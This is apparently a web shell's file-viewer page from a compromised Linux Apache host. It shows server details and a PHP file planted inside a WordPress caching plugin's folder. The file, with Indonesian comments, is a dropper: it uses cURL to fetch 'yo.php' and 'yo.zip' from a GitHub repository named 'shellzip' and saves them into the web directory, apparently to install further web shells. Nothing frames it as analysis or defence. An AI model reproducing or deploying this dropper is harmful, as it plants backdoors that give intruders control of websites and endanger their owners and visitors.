HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/auto.php
<?php
function download_file($file_url, $save_to) {
    // Validasi URL
    if (!filter_var($file_url, FILTER_VALIDATE_URL)) {
        echo "URL tidak valid: $file_url\n";
        return false;
    }

    // Inisialisasi cURL
    $ch = curl_init($file_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  // Untuk mengikuti redirect
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);  // Batas waktu 30 detik
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);  // Verifikasi sertifikat SSL

    // Eksekusi permintaan cURL
    $file_content = curl_exec($ch);
    $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    // Cek apakah ada error atau HTTP status bukan 200 (OK)
    if (curl_errno($ch) || $http_status != 200) {
        echo "Gagal mengunduh file dari $file_url. HTTP Status: $http_status\n";
        curl_close($ch);
        return false;
    }

    // Tutup cURL
    curl_close($ch);

    // Simpan file ke lokasi tujuan
    if (file_put_contents($save_to, $file_content) !== false) {
        echo "File berhasil diunduh dan disimpan sebagai $save_to\n";
        return true;
    } else {
        echo "Gagal menyimpan file ke $save_to\n";
        return false;
    }
}

// Daftar file untuk diunduh
$files_to_download = [
    'https://raw.githubusercontent.com/Zeddgansz/shellzip/refs/heads/main/yo.php' => __DIR__ . '/yo.php',
    'https://raw.githubusercontent.com/Zeddgansz/shellzip/refs/heads/main/yo.zip' => __DIR__ . '/yo.zip',
];

// Unduh semua file
foreach ($files_to_download as $file_url => $save_to) {
    download_file($file_url, $save_to);
}
?>